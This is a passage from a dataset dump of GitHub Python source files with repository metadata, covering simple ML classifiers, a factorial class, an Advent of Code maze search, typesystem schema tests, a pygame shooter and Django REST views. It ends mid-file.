plt.plot(snapshot['time'], snapshot[key], \"r\")\n\nplt.show()\n\nprint(values)\n","repo_name":"PedroCapa/SDLE","sub_path":"Trabalho/RandomGraphSimulations.py","file_name":"RandomGraphSimulations.py","file_ext":"py","file_size_in_byte":1695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"38853744429","text":"print(\"\\n----------------------------------------------------\\nExercise 1:\")\ndef classify(input_tuple):\n    \"\"\"Classify people's health status by comparing their age,\n    smoking habits and diet.\"\"\"\n    smoker, age, diet = input_tuple\n    if smoker == 'yes':\n        if int(age) <  29.5:\n            return 'less'\n        else:\n            return 'more'\n    else:\n        if diet == 'good':\n            return 'less'\n        else:\n            return 'more'\n\ntest = classify(('yes', 31, 'good'))\nassert test == 'more'\nprint(test)\n\nprint(\"\\n----------------------------------------------------\\nExercise 2:\")\n\nfile_test = 'health-test.txt'\nhealth_test = []\n\nwith open(file_test, 'r') as con:\n    for line in con:\n        extention = line.strip().split(',')\n        health_test.append(tuple(extention))\nprint(health_test)\nprint(\"\\n----------------------------------------------------\\nExercise 3:\")\n\nhealth_tree = []\nfor subject in health_test:\n    health_tree.append(classify(subject))\n\nmore_perc = float(health_tree.count('more')) / len(health_tree)\nprint(\"predictions: %s\" % health_tree)\nprint(\"percentage of 'more': %s\" % more_perc)\n\nprint(\"\\n----------------------------------------------------\\nExercise 4:\")\n\nfile_train = 'health-train.txt'\nhealth_train = []\nwith open(file_train) as con:\n    for line in con:\n        content = line.strip().split(',')\n        health_train.append((tuple(content[:3]), content[-1]))\n\nprint(\"train-set:\\n\", health_train)\nprint(\"\\n----------------------------------------------------\\nExercise 5:\")\ndef d(a, b):\n    \"\"\"Calculate distance metric.\"\"\"\n    return (a[0]!=b[0]) + ((float(a[1])-float(b[1]))/50)**2 + (a[2]!=b[2])\n\ndef get_nearest_neighbor(target, train_set):\n    dist = [d(target, x[0]) for x in train_set]\n    return train_set[dist.index(min(dist))]\n\nneighborino = get_nearest_neighbor(('yes', 31, 'good'), health_train)\nprint(neighborino)\n\nhealth_neighbor = []\n\nfor subject in health_test:\n    extention = get_nearest_neighbor(subject, health_train)\n    health_neighbor.append(extention[1])\n\nprint(\"Predictions by Decision Tree:\\n%s\" % health_tree)\nprint(\"Predictions by Nearest Neighbor Algorithm:\\n%s\" % health_neighbor)\n\nindices = []\ndifferent = []\n\nfor i in range(len(health_tree)):\n    if health_tree[i] != health_neighbor[i]:\n        indices.append(i)\n        different.append(health_test[i])\n\ndifference_prob = float(len(different)) / len(health_tree)\n\nprint(\"Index: %s\\nDatapoint: %s\" % (indices, different))\nprint(\"Probability: %s\" % difference_prob)\n# stay consistent with problem sheet.\nprint((different, difference_prob))\n\nprint(\"\\n----------------------------------------------------\\nExercise 6:\")\n\nclass NearestMeanClassifier(object):\n    \"\"\"Training Method that takes a dataset as input and produces two internal\n    vectors corresponding to the mean of each class.\"\"\"\n    def train(self, dataset):\n        # Data preparation\n        self.classes = []\n        data = []\n        for line in dataset:\n            if line[1] not in self.classes:\n                self.classes.append(line[1])\n\n            X, y = line\n            smoker, age, diet = X\n            numeric_tuple = ((int(smoker == 'yes'),\n                              int(age),\n                              int(diet == 'poor')), y)\n            data.append(numeric_tuple)\n\n        self.class_averages = []\n\n        for classes in self.classes:\n            dict_content = [tuples for tuples in data if tuples[1] == classes]\n            smoker_list = [tuples[0][0] for tuples in data if tuples[1] == classes]\n            age_list = [tuples[0][1] for tuples in data if tuples[1] == classes]\n            diet_list = [tuples[0][2] for tuples in data if tuples[1] == classes]\n\n            mean_tuple = ((float(sum(smoker_list)) / len(smoker_list),\n                           float(sum(age_list)) / len(age_list),\n                           float(sum(diet_list)) / len(diet_list)), classes)\n            self.class_averages.append(mean_tuple)\n\n    def predict(self, dataset):\n        # Define Distance-Metric\n        def d(a, b):\n            return (a[0] - b[0])**2 + ((a[1] - b[1])/50)**2 + (a[2] - b[2])**2\n\n        def get_nearest_neighbor(target, train_set):\n            dist = [d(target, x[0]) for x in train_set]\n            return train_set[dist.index(min(dist))][1]\n\n\n        self.predictions = []\n        for line in dataset:\n            smoker, age, diet = line\n            line_numeric = (int(smoker == 'yes'),\n                            int(age),\n                            int(diet == 'poor'))\n\n            prediction = get_nearest_neighbor(line_numeric, self.class_averages)\n            self.predictions.append(prediction)\n\n\navg_neighbor = NearestMeanClassifier()\navg_neighbor.train(health_train)\navg_neighbor.predict(health_test)\n\nhealth_avg_neighbor = avg_neighbor.predictions\n\nsame_prediction_ind = []\nfor i in range(len(health_test)):\n    is_same = health_tree[i] == health_neighbor[i] == health_avg_neighbor[i]\n    same_prediction_ind.append(is_same)\n\nprint(\"Coinciding Predictions:\")\nfor line in same_prediction_ind:\n    print(health_test[line])\n","repo_name":"thsis/Python_ML","sub_path":"Py4ML/Ex1/exercise1.py","file_name":"exercise1.py","file_ext":"py","file_size_in_byte":5084,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"}
{"seq_id":"37172720218","text":"import math\r\n\r\n\r\nclass Factorial:\r\n    '''\r\n    Factorial is the product of an integer and all the integers below.\r\n    It is represented also by '!'\r\n        Example: Factorial of 5 or 5! = 5 * 4 * 3 * 2 * 1\r\n                                      = 120\r\n    '''\r\n\r\n    def __init__(self, number=5):\r\n        self.number = number\r\n\r\n    def method_one(self):\r\n        '''\r\n        Using while loop\r\n        '''\r\n\r\n        get_factorial = 1\r\n        nums = self.number\r\n\r\n        while nums != 1:\r\n            get_factorial *= nums\r\n            nums -= 1\r\n\r\n        return f'{self.number}! = {get_factorial}'\r\n\r\n    def method_two(self):\r\n        '''\r\n        Using for loop\r\n        '''\r\n\r\n        get_factorial = 1\r\n\r\n        for num in range(1, self.number + 1):\r\n            get_factorial *= num\r\n\r\n        return f'{self.number}! = {get_factorial}'\r\n\r\n    def method_three(self):\r\n        '''\r\n        Using built-in \"math\" module\r\n        '''\r\n\r\n        get_factorial = math.factorial(self.number)\r\n        return f'{self.number}! = {get_factorial}'\r\n\r\n    def method_four(self, number):\r\n        '''\r\n        Using recursive method\r\n        '''\r\n\r\n        if number == 1:\r\n            return number\r\n\r\n        return number * self.method_four(number - 1)\r\n\r\n\r\nif __name__ == '__main__':\r\n    factorial = Factorial()\r\n\r\n    print('\\nMethod One')\r\n    print(factorial.method_one())\r\n\r\n    print('\\nMethod Two')\r\n    print(factorial.method_two())\r\n\r\n    print('\\nMethod Three')\r\n    print(factorial.method_three())\r\n\r\n    print('\\nMethod Four')\r\n    print(factorial.method_four(factorial.number))\r\n","repo_name":"ghanteyyy/nppy","sub_path":"Minor Projects/Factorial.py","file_name":"Factorial.py","file_ext":"py","file_size_in_byte":1601,"program_lang":"python","lang":"en","doc_type":"code","stars":89,"dataset":"github-code","pt":"18"}
{"seq_id":"29122443373","text":"def iswall(x, y):\n    magicnum = 1364\n    #magicnum = 10\n    r = bin(((x * x) + (3 * x) + (2 * x * y) + y + (y * y)) + magicnum)\n    #print(r, r[2:])\n    cnt = 0\n    for c in r[2:]:\n        if c == '1': cnt += 1\n    #print(r)\n    return cnt % 2 != 0\n\ndef canmove(x, y, dir):\n    if x < 0:\n        print(\"Outside x\", dir, x, y)\n        return False\n    if y < 0:\n        print(\"Outside y\", dir, x, y)\n        return False\n\n    beenbefore = board[y][x] != 0\n    if beenbefore: print(\"Been before\", dir, x, y, board[y][x])\n    coordiswall = iswall(x, y) #board[y][x][0]\n    if coordiswall: print(\"Is wall\", dir, x, y)\n    return not beenbefore and not coordiswall\n\ntargetx = 31\ntargety = 39\n#targetx = 7\n#targety = 11\n\ndef findpath(x, y, path, dir):\n    #print(\"At\", x, y, \"steps:\", len(path), path)\n\n    if (x == targetx) and (y == targety):\n        print(\"Done. On \", x, y, \"length\", len(path))\n        return True\n\n    if not canmove(x, y, \"here\"): return False\n    board[y][x] = 1\n    print(dir, \"Visiting: \", x, y, \"Steps:\", len(path))\n\n    path.append([(x, y)])\n    if findpath(x+1, y, path, \"east\") or \\\n        findpath(x, y+1, path, \"south\") or \\\n        findpath(x-1, y, path, \"west\") or \\\n        findpath(x, y-1, path, \"north\"): return True\n\n    print (\"XX STUCK!!\", x, y)\n    return False\n\n#print(iswall(1, 1))\n#exit()\nboard = []\nfor y in range(1000):\n    r = []\n    for x in range(1000):\n        r.append(0)\n    board.append(r)\n\npath = []\nfindpath(1, 1, path, \"here\")\nprint(len(path))\n\n\n#print(board)\n\n","repo_name":"jhogstrom/adventofcode","sub_path":"2016/dec13/dec13.py","file_name":"dec13.py","file_ext":"py","file_size_in_byte":1513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"4199047306","text":"import datetime\nimport decimal\nimport uuid\n\nimport pytest\n\nimport typesystem\nimport typesystem.formats\n\n\nclass Person(typesystem.Schema):\n    name = typesystem.String(max_length=100, allow_blank=False)\n    age = typesystem.Integer()\n\n\nclass Product(typesystem.Schema):\n    name = typesystem.String(max_length=100, allow_blank=False)\n    rating = typesystem.Integer(default=None)\n\n\ndef test_required():\n    class Example(typesystem.Schema):\n        field = typesystem.Integer()\n\n    value, error = Example.validate_or_error({})\n    assert dict(error) == {\"field\": \"This field is required.\"}\n\n    class Example(typesystem.Schema):\n        field = typesystem.Integer(allow_null=True)\n\n    value, error = Example.validate_or_error({})\n    assert dict(value) == {\"field\": None}\n\n    class Example(typesystem.Schema):\n        field = typesystem.Integer(default=0)\n\n    value, error = Example.validate_or_error({})\n    assert dict(value) == {\"field\": 0}\n\n    class Example(typesystem.Schema):\n        field = typesystem.Integer(allow_null=True, default=0)\n\n    value, error = Example.validate_or_error({})\n    assert dict(value) == {\"field\": 0}\n\n    class Example(typesystem.Schema):\n        field = typesystem.String()\n\n    value, error = Example.validate_or_error({})\n    assert dict(error) == {\"field\": \"This field is required.\"}\n\n    class Example(typesystem.Schema):\n        field = typesystem.String(allow_blank=True)\n\n    value, error = Example.validate_or_error({})\n    assert dict(value) == {\"field\": \"\"}\n\n    class Example(typesystem.Schema):\n        field = typesystem.String(allow_null=True, allow_blank=True)\n\n    value, error = Example.validate_or_error({})\n    assert dict(value) == {\"field\": None}\n\n\ndef test_schema_validation():\n    value, error = Person.validate_or_error({\"name\": \"Tom\", \"age\": \"123\"})\n    assert not error\n    assert value == Person(name=\"Tom\", age=123)\n\n    value, error = Person.validate_or_error({\"name\": \"Tom\", \"age\": \"123\"})\n    assert not error\n    assert value == Person(name=\"Tom\", age=123)\n\n    value, error = Person.validate_or_error({\"name\": \"Tom\", \"age\": \"abc\"})\n    assert dict(error) == {\"age\": \"Must be a number.\"}\n\n    value, error = Person.validate_or_error({\"name\": \"Tom\"})\n    assert dict(error) == {\"age\": \"This field is required.\"}\n\n\ndef test_schema_eq():\n    tom = Person(name=\"Tom\", age=123)\n    lucy = Person(name=\"Lucy\", age=123)\n    assert tom != lucy\n\n    tom = Person(name=\"Tom\", age=123)\n    tshirt = Product(name=\"T-Shirt\")\n    assert tom != tshirt\n\n\ndef test_schema_repr():\n    tom = Person(name=\"Tom\", age=123)\n    assert repr(tom) == \"Person(name='Tom', age=123)\"\n\n    tom = Person(name=\"Tom\")\n    assert repr(tom) == \"Person(name='Tom') [sparse]\"\n\n\ndef test_schema_instantiation():\n    tshirt = Product(name=\"T-Shirt\")\n    assert tshirt.name == \"T-Shirt\"\n    assert tshirt.rating == None\n\n    empty = Product()\n    assert not hasattr(empty, \"name\")\n\n    with pytest.raises(TypeError):\n        Product(name=\"T-Shirt\", other=\"Invalid\")\n\n    with pytest.raises(TypeError):\n        Product(name=\"x\" * 1000)\n\n    tshirt = Product(name=\"T-Shirt\")\n    assert Product(tshirt) == tshirt\n\n\ndef test_schema_subclass():\n    class DetailedProduct(Product):\n        info = typesystem.Text()\n\n    assert set(DetailedProduct.fields.keys()) == {\"name\", \"rating\", \"info\"}\n\n\ndef test_schema_serialization():\n    tshirt = Product(name=\"T-Shirt\")\n\n    data = dict(tshirt)\n\n    assert data == {\"name\": \"T-Shirt\", \"rating\": None}\n\n\ndef test_schema_null_items_array_serialization():\n    class Product(typesystem.Schema):\n        names = typesystem.Array()\n\n    tshirt = Product(names=[1, \"2\", {\"nested\": 3}])\n\n    data = dict(tshirt)\n\n    assert data == {\"names\": [1, \"2\", {\"nested\": 3}]}\n\n\ndef test_schema_string_array_serialization():\n    class Product(typesystem.Schema):\n        names = typesystem.Array(typesystem.String())\n\n    tshirt = Product(names=[\"T-Shirt\"])\n\n    data = dict(tshirt)\n\n    assert data == {\"names\": [\"T-Shirt\"]}\n\n\ndef test_schema_dates_array_serialization():\n    class BlogPost(typesystem.Schema):\n        text = typesystem.String()\n        modified = typesystem.Array(typesystem.Date())\n\n    post = BlogPost(text=\"Hi\", modified=[datetime.date.today()])\n\n    data = dict(post)\n\n    assert data[\"text\"] == \"Hi\"\n    assert data[\"modified\"] == [datetime.date.today().isoformat()]\n\n\ndef test_schema_positional_array_serialization():\n    class NumberName(typesystem.Schema):\n        pair = typesystem.Array([typesystem.Integer(), typesystem.String()])\n\n    name = NumberName(pair=[1, \"one\"])\n\n    data = dict(name)\n\n    assert data == {\"pair\": [1, \"one\"]}\n\n\ndef test_schema_len():\n    tshirt = Product(name=\"T-Shirt\")\n\n    count = len(tshirt)\n\n    assert count == 2\n\n\ndef test_schema_getattr():\n    tshirt = Product(name=\"T-Shirt\")\n    assert tshirt[\"name\"] == \"T-Shirt\"\n\n\ndef test_schema_missing_getattr():\n    tshirt = Product(name=\"T-Shirt\")\n\n    with pytest.raises(KeyError):\n        assert tshirt[\"missing\"]\n\n\ndef test_schema_date_serialization():\n    class BlogPost(typesystem.Schema):\n        text = typesystem.String()\n        created = typesystem.Date()\n        modified = typesystem.Date(allow_null=True)\n\n    post = BlogPost(text=\"Hi\", created=datetime.date.today())\n\n    data = dict(post)\n\n    assert data[\"text\"] == \"Hi\"\n    assert data[\"created\"] == datetime.date.today().isoformat()\n    assert data[\"modified\"] is None\n\n\ndef test_schema_time_serialization():\n    class MealSchedule(typesystem.Schema):\n        guest_id = typesystem.Integer()\n        breakfast_at = typesystem.Time()\n        dinner_at = typesystem.Time(allow_null=True)\n\n    guest_id = 123\n    breakfast_at = datetime.time(hour=10, minute=30)\n    schedule = MealSchedule(guest_id=guest_id, breakfast_at=breakfast_at)\n\n    assert typesystem.formats.TIME_REGEX.match(schedule[\"breakfast_at\"])\n    assert schedule[\"guest_id\"] == guest_id\n    assert schedule[\"breakfast_at\"] == breakfast_at.isoformat()\n    assert schedule[\"dinner_at\"] is None\n\n\ndef test_schema_datetime_serialization():\n    class Guest(typesystem.Schema):\n        id = typesystem.Integer()\n        name = typesystem.String()\n        check_in = typesystem.DateTime()\n        check_out = typesystem.DateTime(allow_null=True)\n\n    guest_id = 123\n    guest_name = \"Bob\"\n    check_in = datetime.datetime.now(tz=datetime.timezone.utc)\n    guest = Guest(id=guest_id, name=guest_name, check_in=check_in)\n\n    assert typesystem.formats.DATETIME_REGEX.match(guest[\"check_in\"])\n    assert guest[\"id\"] == guest_id\n    assert guest[\"name\"] == guest_name\n    assert guest[\"check_in\"] == check_in.isoformat()[:-6] + \"Z\"\n    assert guest[\"check_out\"] is None\n\n\ndef test_schema_decimal_serialization():\n    class InventoryItem(typesystem.Schema):\n        name = typesystem.String()\n        price = typesystem.Decimal(precision=\"0.01\", allow_null=True)\n\n    item = InventoryItem(name=\"Example\", price=123.45)\n\n    assert item.price == decimal.Decimal(\"123.45\")\n    assert item[\"price\"] == 123.45\n\n    item = InventoryItem(name=\"test\")\n    assert dict(item) == {\"name\": \"test\", \"price\": None}\n    item = InventoryItem(name=\"test\", price=0)\n    assert dict(item) == {\"name\": \"test\", \"price\": 0}\n\n\ndef test_schema_uuid_serialization():\n    class User(typesystem.Schema):\n        id = typesystem.String(format=\"uuid\")\n        username = typesystem.String()\n\n    item = User(id=\"b769df4a-18ec-480f-89ef-8ea961a82269\", username=\"tom\")\n\n    assert item.id == uuid.UUID(\"b769df4a-18ec-480f-89ef-8ea961a82269\")\n    assert item[\"id\"] == \"b769df4a-18ec-480f-89ef-8ea961a82269\"\n\n\ndef test_schema_with_callable_default():\n    class Example(typesystem.Schema):\n        created = typesystem.Date(default=datetime.date.today)\n\n    value, error = Example.validate_or_error({})\n    assert value.created == datetime.date.today()\n\n\ndef test_nested_schema():\n    class Artist(typesystem.Schema):\n        name = typesystem.String(max_length=100)\n\n    class Album(typesystem.Schema):\n        title = typesystem.String(max_length=100)\n        release_year = typesystem.Integer()\n        artist = typesystem.Reference(Artist)\n\n    value = Album.validate(\n        {\"title\": \"Double Negative\", \"release_year\": \"2018\", \"artist\": {\"name\": \"Low\"}}\n    )\n    assert dict(value) == {\n        \"title\": \"Double Negative\",\n        \"release_year\": 2018,\n        \"artist\": {\"name\": \"Low\"},\n    }\n    assert value == Album(\n        title=\"Double Negative\", release_year=2018, artist=Artist(name=\"Low\")\n    )\n\n    value, error = Album.validate_or_error(\n        {\"title\": \"Double Negative\", \"release_year\": \"2018\", \"artist\": None}\n    )\n    assert dict(error) == {\"artist\": \"May not be null.\"}\n\n    value, error = Album.validate_or_error(\n        {\"title\": \"Double Negative\", \"release_year\": \"2018\", \"artist\": \"Low\"}\n    )\n    assert dict(error) == {\"artist\": \"Must be an object.\"}\n\n    class Album(typesystem.Schema):\n        title = typesystem.String(max_length=100)\n        release_year = typesystem.Integer()\n        artist = typesystem.Reference(Artist, allow_null=True)\n\n    value = Album.validate(\n        {\"title\": \"Double Negative\", \"release_year\": \"2018\", \"artist\": None}\n    )\n    assert dict(value) == {\n        \"title\": \"Double Negative\",\n        \"release_year\": 2018,\n        \"artist\": None,\n    }\n\n\ndef test_nested_schema_array():\n    class Artist(typesystem.Schema):\n        name = typesystem.String(max_length=100)\n\n    class Album(typesystem.Schema):\n        title = typesystem.String(max_length=100)\n        release_year = typesystem.Integer()\n        artists = typesystem.Array(items=typesystem.Reference(Artist))\n\n    value = Album.validate(\n        {\n            \"title\": \"Double Negative\",\n            \"release_year\": \"2018\",\n            \"artists\": [{\"name\": \"Low\"}],\n        }\n    )\n    assert dict(value) == {\n        \"title\": \"Double Negative\",\n        \"release_year\": 2018,\n        \"artists\": [{\"name\": \"Low\"}],\n    }\n    assert value == Album(\n        title=\"Double Negative\", release_year=2018, artists=[Artist(name=\"Low\")]\n    )\n\n    value, error = Album.validate_or_error(\n        {\"title\": \"Double Negative\", \"release_year\": \"2018\", \"artists\": None}\n    )\n    assert dict(error) == {\"artists\": \"May not be null.\"}\n\n    value, error = Album.validate_or_error(\n        {\"title\": \"Double Negative\", \"release_year\": \"2018\", \"artists\": \"Low\"}\n    )\n    assert dict(error) == {\"artists\": \"Must be an array.\"}\n\n    class Album(typesystem.Schema):\n        title = typesystem.String(max_length=100)\n        release_year = typesystem.Integer()\n        artists = typesystem.Array(items=typesystem.Reference(Artist), allow_null=True)\n\n    value = Album.validate(\n        {\"title\": \"Double Negative\", \"release_year\": \"2018\", \"artists\": None}\n    )\n    assert dict(value) == {\n        \"title\": \"Double Negative\",\n        \"release_year\": 2018,\n        \"artists\": None,\n    }\n\n\ndef test_nested_schema_to_json_schema():\n    class Artist(typesystem.Schema):\n        name = typesystem.String(max_length=100)\n\n    class Album(typesystem.Schema):\n        title = typesystem.String(max_length=100)\n        release_date = typesystem.Date()\n        artist = typesystem.Reference(Artist)\n\n    schema = typesystem.to_json_schema(Album)\n\n    assert schema == {\n        \"type\": \"object\",\n        \"properties\": {\n            \"title\": {\"type\": \"string\", \"minLength\": 1, \"maxLength\": 100},\n            \"release_date\": {\"type\": \"string\", \"minLength\": 1, \"format\": \"date\"},\n            \"artist\": {\"$ref\": \"#/definitions/Artist\"},\n        },\n        \"required\": [\"title\", \"release_date\", \"artist\"],\n        \"definitions\": {\n            \"Artist\": {\n                \"type\": \"object\",\n                \"properties\": {\n                    \"name\": {\"type\": \"string\", \"minLength\": 1, \"maxLength\": 100}\n                },\n                \"required\": [\"name\"],\n            }\n        },\n    }\n\n\ndef test_definitions_to_json_schema():\n    definitions = typesystem.SchemaDefinitions()\n\n    class Artist(typesystem.Schema, definitions=definitions):\n        name = typesystem.String(max_length=100)\n\n    class Album(typesystem.Schema, definitions=definitions):\n        title = typesystem.String(max_length=100)\n        release_date = typesystem.Date()\n        artist = typesystem.Reference(\"Artist\")\n\n    schema = typesystem.to_json_schema(definitions)\n\n    assert schema == {\n        \"definitions\": {\n            \"Artist\": {\n                \"type\": \"object\",\n                \"properties\": {\n                    \"name\": {\"type\": \"string\", \"minLength\": 1, \"maxLength\": 100}\n                },\n                \"required\": [\"name\"],\n            },\n            \"Album\": {\n                \"type\": \"object\",\n                \"properties\": {\n                    \"title\": {\"type\": \"string\", \"minLength\": 1, \"maxLength\": 100},\n                    \"release_date\": {\n                        \"type\": \"string\",\n                        \"minLength\": 1,\n                        \"format\": \"date\",\n                    },\n                    \"artist\": {\"$ref\": \"#/definitions/Artist\"},\n                },\n                \"required\": [\"title\", \"release_date\", \"artist\"],\n            },\n        }\n    }\n","repo_name":"abhilekh/typesystem","sub_path":"tests/test_schemas.py","file_name":"test_schemas.py","file_ext":"py","file_size_in_byte":13113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"}
{"seq_id":"5850357604","text":"\"\"\" Pygame base template \"\"\"\n\n''' Imports '''\nimport pygame\nimport random\n\n''' Globals '''\nBLACK = (0, 0, 0)\nWHITE = (255, 255, 255)\nGREEN = (0, 255, 0)\nRED = (255, 0, 0)\nBLUE = (0, 0, 255)\n\nSCREEN_WIDTH = 700\nSCREEN_HEIGHT = 400\n\n''' Classes '''\n\nclass Block(pygame.sprite.Sprite):\n    # this class represents a block\n    def __init__(self, color):\n        super().__init__()                     # super()\n\n        self.image = pygame.Surface([20, 15])\n        self.image.fill(color)\n\n        self.rect = self.image.get_rect()\n\nclass Player(pygame.sprite.Sprite):\n    # this class represents the player\n    def __init__(self):\n        super().__init__()\n        self.image = pygame.Surface([20, 20])\n        self.image.fill(RED)\n\n        self.rect = self.image.get_rect()\n\n    def update(self):\n        pos = pygame.mouse.get_pos()\n        self.rect.x = pos[0]\n        self.rect.y = SCREEN_HEIGHT - 30\n\nclass Bullet(pygame.sprite.Sprite):\n    def __init__(self):\n        super().__init__()\n        self.image = pygame.Surface([4, 10])\n        self.image.fill(BLACK)\n\n        self.rect = self.image.get_rect()\n\n    def update(self):\n        self.rect.y -= 6\n\n''' Game Class '''\n\nclass Game():\n    ''' Attributes '''\n    # all the data we need to run the game\n\n    # sprite lists\n    block_list = None\n    all_sprites_list = None\n    player = None\n    game_over = False\n\n    ''' methods '''\n    # setup the game\n    def __init__(self):\n        self.score = 0\n        self.game_over = False\n\n        # create sprite lists\n        self.block_list = pygame.sprite.Group()\n        self.all_sprites_list = pygame.sprite.Group()\n        self.bullet_list = pygame.sprite.Group()\n\n        # Create the block sprites\n        for i in range(5):\n            self.block = Block(BLUE)\n\n            self.block.rect.x = random.randrange(SCREEN_WIDTH - 20)\n            self.block.rect.y = random.randrange(250)\n\n            self.block_list.add(self.block)\n            self.all_sprites_list.add(self.block)\n\n        self.player = Player()\n        self.all_sprites_list.add(self.player)\n\n\n    # closing window and restarting game\n    def process_events(self):\n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                return True\n            if event.type == pygame.MOUSEBUTTONDOWN:\n                if self.game_over:\n                    self.__init__()\n                else:\n                    # fire a bullet\n                    bullet = Bullet()\n                    # set the bullet where the player is\n                    bullet.rect.x = self.player.rect.x\n                    bullet.rect.y = self.player.rect.y\n                    self.all_sprites_list.add(bullet)\n                    self.bullet_list.add(bullet)\n\n        return False\n\n    # this method is rin each frame. it updates positions and checks for collisions\n    def run_logic(self):\n\n        if not self.game_over:\n            # move all the sprites\n            self.all_sprites_list.update()\n\n            # bullets mechanics\n            for bullet in self.bullet_list:\n                block_hit_list = pygame.sprite.spritecollide(bullet, self.block_list, True)\n\n                for block in block_hit_list:\n                    self.bullet_list.remove(bullet)\n                    self.all_sprites_list.remove(bullet)\n                    self.score += 1\n                    print(self.score)\n\n            if len(self.block_list) == 0:\n                self.game_over = True\n\n\n\n\n    def display_frame(self, screen):\n        screen.fill(WHITE)\n\n        if self.game_over:\n            # display a text in the middle of the screen\n            font = pygame.font.SysFont(\"serif\", 45)\n            text1 = font.render(\"Game Over!\", True, BLACK)\n            x = (SCREEN_WIDTH // 2) - (text1.get_width() // 2)\n            y = (SCREEN_HEIGHT // 2) - (text1.get_height() // 2) - 25\n            screen.blit(text1, [x, y])\n\n            font = pygame.font.SysFont(\"serif\", 25)\n            text2 = font.render(\"Click to restart\", True, BLACK)\n            x = (SCREEN_WIDTH / 2) - (text2.get_width() // 2)\n            y = (SCREEN_HEIGHT // 2) - (text2.get_height() // 2) + 25\n            screen.blit(text2, [x, y])\n        # if game is not over\n        else:\n            self.all_sprites_list.draw(screen)\n\n        pygame.display.flip()\n\n''' Main function '''\n\ndef main():\n\n    pygame.init()\n\n    size = [SCREEN_WIDTH, SCREEN_HEIGHT]\n    screen = pygame.display.set_mode(size)\n\n    pygame.display.set_caption(\"My Game\")\n    pygame.mouse.set_visible(False)\n\n    # create ort objects and set the data\n    done = False\n    clock = pygame.time.Clock()\n    game = Game()\n\n    ''' Main Loop '''\n    while not done:\n        # process events#\n        done = game.process_events()\n        # update objects\n        game.run_logic()\n        # draw frame\n        game.display_frame(screen)\n        # pause for next frame\n        clock.tick(60)\n\n    # close window and exit\n    pygame.quit()\n\nif __name__ == '__main__':\n    main()","repo_name":"MaximilianSchleper/pylearn","sub_path":"chapter 13/bullets.py","file_name":"bullets.py","file_ext":"py","file_size_in_byte":4990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"7714382346","text":"from http import HTTPStatus\n\nfrom django.shortcuts import get_object_or_404, get_list_or_404\nfrom rest_framework.decorators import APIView, api_view\nfrom rest_framework.permissions import IsAuthenticated, IsAuthenticatedOrReadOnly\nfrom rest_framework.response import Response\nfrom watchlist.movie.models import Movie, Review, StreamingPlatform\n\nfrom .permissions import ReviewUserOrReadOnly\nfrom .serializers import MovieSerializer, ReviewSerializer, StreamingPlatformSerializer\n\n\n@api_view([\"GET\", \"POST\"])\ndef movies(request):\n    \"\"\"\n    List create movie.\n    \"\"\"\n    if request.method == \"GET\":\n        movies = Movie.objects.all()\n        serializer = MovieSerializer(movies, many=True)\n        return Response(serializer.data, status=HTTPStatus.OK)\n    if request.method == \"POST\":\n        serializer = MovieSerializer(data=request.data)\n        if serializer.is_valid():\n            serializer.save()\n            return Response(serializer.data, status=HTTPStatus.CREATED)\n        return Response(serializer.errors, status=HTTPStatus.BAD_REQUEST)\n\n\n@api_view([\"GET\", \"PUT\", \"DELETE\"])\ndef movie_detail(request, pk):\n    \"\"\"\n    Retrieve, update or delete a movie.\n    \"\"\"\n    movie = get_object_or_404(Movie, pk=pk)\n\n    if request.method == \"GET\":\n        serializer = MovieSerializer(movie)\n        return Response(serializer.data)\n\n    elif request.method == \"PUT\":\n        serializer = MovieSerializer(movie, data=request.data)\n        if serializer.is_valid():\n            serializer.save()\n            return Response(serializer.data)\n        return Response(serializer.errors, status=HTTPStatus.BAD_REQUEST)\n\n    elif request.method == \"DELETE\":\n        movie.delete()\n        return Response(status=HTTPStatus.NO_CONTENT)\n\n\nclass Stream(APIView):\n    \"\"\"\n    View to list all streaming platforms or create a new one.\n    \"\"\"\n\n    def get(self, request):\n        streaming_platforms = StreamingPlatform.objects.all()\n        serializer = StreamingPlatformSerializer(streaming_platforms, many=True, context={\"request\": request})\n        return Response(serializer.data)\n\n    def post(self, request):\n        serializer = StreamingPlatformSerializer(data=request.data)\n        if serializer.is_valid():\n            serializer.save()\n            return Response(serializer.data, status=HTTPStatus.CREATED)\n        return Response(serializer.errors, status=HTTPStatus.BAD_REQUEST)\n\n\nclass StreamDetail(APIView):\n    \"\"\"\n    View to retrieve, update or delete a streaming platform.\n    \"\"\"\n\n    def get(self, request, pk):\n        streaming_platform = get_object_or_404(StreamingPlatform, pk=pk)\n        serializer = StreamingPlatformSerializer(streaming_platform)\n        return Response(serializer.data)\n\n    def put(self, request, pk):\n        streaming_platform = get_object_or_404(StreamingPlatform, pk=pk)\n        serializer = StreamingPlatformSerializer(streaming_platform, data=request.data)\n        if serializer.is_valid():\n            serializer.save()\n            return Response(serializer.data)\n        return Response(serializer.errors, status=HTTPStatus.BAD_REQUEST)\n\n    def delete(self, request, pk):\n        streaming_platform = get_object_or_404(StreamingPlatform, pk=pk)\n        streaming_platform.delete()\n        return Response(status=HTTPStatus.NO_CONTENT)\n\n\nclass UserReviews(APIView):\n    \"\"\"\n    View to list all user reviews.\n    \"\"\"\n\n    def get(self, request, username):\n        user_reviews = get_list_or_404(Review, user__username=username)\n        serializer = ReviewSerializer(user_reviews, many=True)\n        return Response(serializer.data)\n\n\nclass QueryUserReviews(APIView):\n    \"\"\"\n    View to query user reviews.\n    \"\"\"\n\n    def get(self, request):\n        username = request.query_params.get(\"username\")\n        if username is not None:\n            user_reviews = get_list_or_404(Review, user__username=username)\n            serializer = ReviewSerializer(user_reviews, many=True)\n            return Response(serializer.data)\n\n\nclass ReviewList(APIView):\n    \"\"\"\n    View to list all reviews or create a new one.\n    \"\"\"\n\n    permission_classes = [IsAuthenticatedOrReadOnly]\n\n    def get(self, request):\n        reviews = Review.objects.all()\n        serializer = ReviewSerializer(reviews, many=True)\n        return Response(serializer.data)\n\n    def post(self, request):\n        serializer = ReviewSerializer(data=request.data)\n        if serializer.is_valid():\n            serializer.save()\n            return Response(serializer.data, status=HTTPStatus.CREATED)\n        return Response(serializer.errors, 